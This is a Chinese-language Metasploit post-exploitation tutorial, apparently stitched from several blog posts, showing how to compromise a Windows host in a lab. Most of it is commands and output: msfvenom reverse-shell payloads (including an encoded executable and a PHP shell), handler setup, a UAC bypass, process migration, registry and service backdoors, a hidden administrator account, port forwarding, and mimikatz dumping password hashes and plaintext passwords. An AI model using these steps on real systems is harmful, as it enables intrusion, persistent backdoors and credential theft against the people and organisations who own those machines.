msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => window /meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 0.0.0.0
msf exploit(handler)>set LPORT 444
msf exploit(handler)>show options
msf exploit(handler)>exploit
1.metsvc后渗透攻击模块
metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:
metsvc.dll
metsvc-service.exe
metsvc.exe
调用metsvc后渗透攻击模块
命令:run metsvc
效果如下图:
执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务
成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)
使用方法:
到目标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。
Meterpreter服务后门
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
* Service metsvc successfully installed.
之后电脑就默默生成了一个自启服务Meterpreter
然后连接后门
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set RHOST 10.42.0.54
RHOST => 10.42.0.54
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit
2. persistence模块后门
一个vbs后门写入了开机启动项但是容易被发现还是需要大家发挥自己的智慧:)
meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1
[*] Running Persistance Script
[*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333
[*] Persistent agent script is 148453 bytes long
[+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[+] Agent executed with PID 4140
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。
(1)生成一个 payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.131 lport=4444 -f exe -o /root/virus.exe -e x86/shikata_ga_nai -i 8
将以上生成的 payload 发送给目标机器并让其执行!
(2)kali 上配置一个反弹会话处理程序
msf>use exploit/multi/handler
msf>set payload windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.15.131
msf>set LPORT 4444
msf>exploit
这里再介绍一种,生成反弹 shell 的方式。就是直接以 raw 的形式保存成文件只要目标进行了访问,就会反弹回 shell 。具体生成命令如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.15.131 LPORT=4444 -f raw -o x.php
当目标机器成功执行payload后我们就取得了一个 meterpreter shell 。
(3)利用 getuid 和 getsystem 命令来提权
(4)进行UAC权限绕过
从以上结果我们基本可以判定遭到了 UAC 的用户访问控制的拦截!既然这样,那么我们来利用 meterpreter 的强大功能来进行绕过!
msf>use exploit/windows/local/ask
msf>show options
msf>set session 1
msf>exploit
当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限:
攻击端:
OS:Kali
IP:192.168.111.129
被害端:
OS:Windows server 2008 (64位)
IP:192.168.111.133
(1)获取目标主机反弹shell
首先在Kali上生成meterpreter的payloa
root@Kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2013 X > file.exe
接下来是配置监听:
root@Kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.111.129
msf exploit(handler) > set LPORT 2013
msf exploit(handler) > exploit
然后在Windows2008上执行file.exe,返回一个meterpreter
[*] Sending stage (769024 bytes) to 192.168.111.133
[*] Meterpreter session 1 opened (192.168.111.129:2013 -> 192.168.111.133:49168) at2014-03-13 22:23:18 +0800
meterpreter >
(2).转移meterpreter到其他进程
在渗透过程中由于各种原因,当前meterpreter进程很容易被干掉,将meterpreter转移到系统常驻进程是个好主意
meterpreter > getuid //查看当前权限
Server username: WIN-K30V5SI0PCEAdministrator
meterpreter > ps //列出当前进程
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 4294967295
4 0 System x86_64 0
244 4 smss.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32smss.exe
264 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe
336 328 csrss.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe
388 380 csrss.exe x86_64 1 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe
396 328 wininit.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32wininit.exe
432 380 winlogon.exe x86_64 1 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe
492 396 services.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32services.exe
500 396 lsass.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsass.exe
512 396 lsm.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsm.exe
596 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe
656 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe
748 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe
796 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe
840 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe
856 388 conhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32conhost.exe
860 2044 cmd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32cmd.exe
884 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe
924 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe
972 492 sppsvc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32sppsvc.exe
976 492 spoolsv.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32spoolsv.exe
1056 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe
1092 492 vmtoolsd.exe x86_64 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware Toolsvmtoolsd.exe
1332 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe
1492 2044 vmtoolsd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:Program FilesVMwareVMware Toolsvmtoolsd.exe
1560 492 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe
1640 492 msdtc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32msdtc.exe
1968 492 taskhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32taskhost.exe
2024 884 dwm.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32dwm.exe
2044 2016 explorer.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:Windowsexplorer.exe
2204 2428 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe
2312 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe
2332 2044 file.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersAdministratorDesktopfile.exe
2428 492 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe
2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFrameworkv2.0.50727mscorsvw.exe
2972 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe
meterpreter > migrate 2044 //迁移到PID为2044的explorer进程
[*] Migrating from 2332 to 2044...
[*] Migration completed successfully.
meterpreter >
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 4294967295
4 0 System x86_64 0
244 4 smss.exe x86_64 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe
264 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe
336 328 csrss.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\csrss.exe
388 380 csrss.exe x86_64 1 NT AUTHORITYSYSTEM C:\Windows\system32\csrss.exe
396 328 wininit.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\wininit.exe
432 380 winlogon.exe x86_64 1 NT AUTHORITYSYSTEM C:\Windows\system32\winlogon.exe
492 396 services.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\services.exe
500 396 lsass.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\lsass.exe
512 396 lsm.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\lsm.exe
596 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe
656 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe
748 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe
796 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe
840 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe
856 388 conhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\conhost.exe
860 2044 cmd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\cmd.exe
884 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe
924 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe
972 492 sppsvc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\sppsvc.exe
976 492 spoolsv.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\spoolsv.exe
1056 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe
1092 492 vmtoolsd.exe x86_64 0 NT AUTHORITYSYSTEM C:\Program Files\VMware\VMware Toolsvmtoolsd.exe
1332 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe
1492 2044 vmtoolsd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Program Files\VMware\VMware Toolsvmtoolsd.exe
1560 492 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\dllhost.exe
1640 492 msdtc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\msdtc.exe
1968 492 taskhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\taskhost.exe
2024 884 dwm.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\Dwm.exe
2044 2016 explorer.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\Explorer.EXE
2312 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe
2428 492 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\Microsoft.NETFramework64v2.0.50727\mscorsvw.exe
2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:\Windows\Microsoft.NETFrameworkv2.0.50727\mscorsvw.exe
2972 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe
如上所示file.exe进程已经没了。需要注意的是如果存在杀软的话可能会阻止进程注入
(3).测试是不是虚拟机
meterpreter > run post/windows/gather/checkvm
[*] Checking if WIN-K30V5SI0PCE is a Virtual Machine .....
[*] This is a VMware Virtual Machine
我的2008是装在VMWare上的
(4).安装后门
方法一:persistence方法
meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching multi/handler to connect to the agent
-L
-P
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i
-p
-r
执行:
meterpreter > run persistence -X -i 10 -p 2241 -r 192.168.111.129
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-K30V5SI0PCE_20140313.5419/WIN-K30V5SI0PCE_20140313.5419.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2241
[*] Persistent agent script is 148439 bytes long
[+] Persistent Script written to C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs
[*] Executing script C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs
[+] Agent executed with PID 2916
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ
现在退出服务器,重新配置监听器
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.111.129
msf exploit(handler) > set LPORT 2241
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.111.129:2241
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.111.133
[*] Meterpreter session 1 opened (192.168.111.129:2241 -> 192.168.111.133:49159) at2014-03-13 23:01:55 +0800
如图,反弹成功,这个被动型的后门在某些特殊的场合会是个不错的选择
方法二:metsvc
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\ADMINI~1\AppData\LocalTemp\HzWbqqRpuBlxn...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
metsvc后门安装成功,接下来是连接
root@Kali:~# msfconsole
, ,
/
((__---,,,---__))
(_) O O (_)_________
_ / |
o_o M S F |
_____ | *
||| WW|||
||| |||
Using notepad to track pentests? Have Metasploit Pro report on hosts,
services, sessions and evidence -- type 'go_pro' to launch it now.
=[ metasploit v4.8.1-2013120401 [core:4.8 api:1.0]
+ -- --=[ 1239 exploits - 755 auxiliary - 207 post
+ -- --=[ 324 payloads - 31 encoders - 8 nops
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/metsvc_bind_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set RHOST 192.168.111.133
msf exploit(handler) > set LPORT 31337
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.111.129:49313 -> 192.168.111.133:31337) at2014-03-13 23:12:54 +0800
meterpreter >
方法三:这个是类似于添加账户3389远程连接
meterpreter > run getgui -u zero -p haizeiwang123_
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez [email protected]
[*] Setting user account for logon
[*] Adding User: zero with Password: haizeiwang123_
[*] Hiding user from Windows Login screen
[*] Adding User: zero to local group 'Remote Desktop Users'
[*] Adding User: zero to local group 'Administrators'
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20140314.4134.rc
meterpreter >
(5).端口转发
主机处于内网也是比较常见的,metasploit自带了一个端口转发工具
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L
-h Help banner.
-l
-p
-r
meterpreter > portfwd add -L 1234 -p 3389 -r 192.168.111.133
[-] You must supply a local port, remote host, and remote port.
meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.111.133
[*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.111.133:3389
meterpreter >
接下来运行
rdesktop -u zero -p haizeiwang123_ 127.0.0.1:1234
(6).获取密码
法国神器mimikatz可以直接获得操作系统的明文密码,meterpreter添加了这个模块
首先加载mimikatz模块
由于我的Windows 2008是64位的,所以先要转移到64位进程
meterpreter > ps
......
2000 472 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe
2264 1832 explorer.exe x86_64 2 WIN-K30V5SI0PCEzero C:Windowsexplorer.exe
2292 2264 vmtoolsd.exe x86_64 2 WIN-K30V5SI0PCEzero C:Program FilesVMwareVMware Toolsvmtoolsd.exe
2520 372 FfBoPtYGlNj.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersADMINI~1AppDataLocalTemp1rad87A98.tmpFfBoPtYGlNj.exe
2780 2256 winlogon.exe x86_64 2 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe
3028 880 dwm.exe x86_64 2 WIN-K30V5SI0PCEzero C:WindowsSystem32dwm.exe
meterpreter > migrate 2780
[*] Removing existing TCP relays...
[*] Successfully stopped TCP relay on 0.0.0.0:1234
[*] 1 TCP relay(s) removed.
[*] Migrating from 1428 to 2264...
[*] Migration completed successfully.
[*] Recreating TCP relay(s)...
[*] Local TCP relay recreated: 0.0.0.0:1234 <-> 192.168.111.133:3389
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter >
获取密码哈希:
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;339062 NTLM WIN-K30V5SI0PCE Administrator lm{ 179b3f1af1324ade301c14040883a0d8 }, ntlm{ 358c0a328bdf6b42185ca0a1773fb0be }
0;593431 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e26298911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad }
0;593459 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e26298911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad }
0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO)
0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;47971 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO)
获取明文密码
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$
0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$
0;47971 NTLM
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;995 Negotiate NT AUTHORITY IUSR
0;339062 NTLM WIN-K30V5SI0PCE Administrator ceshimima123_
0;593459 NTLM WIN-K30V5SI0PCE zero haizeiwang123_
0;593431 NTLM WIN-K30V5SI0PCE zero haizeiwang123_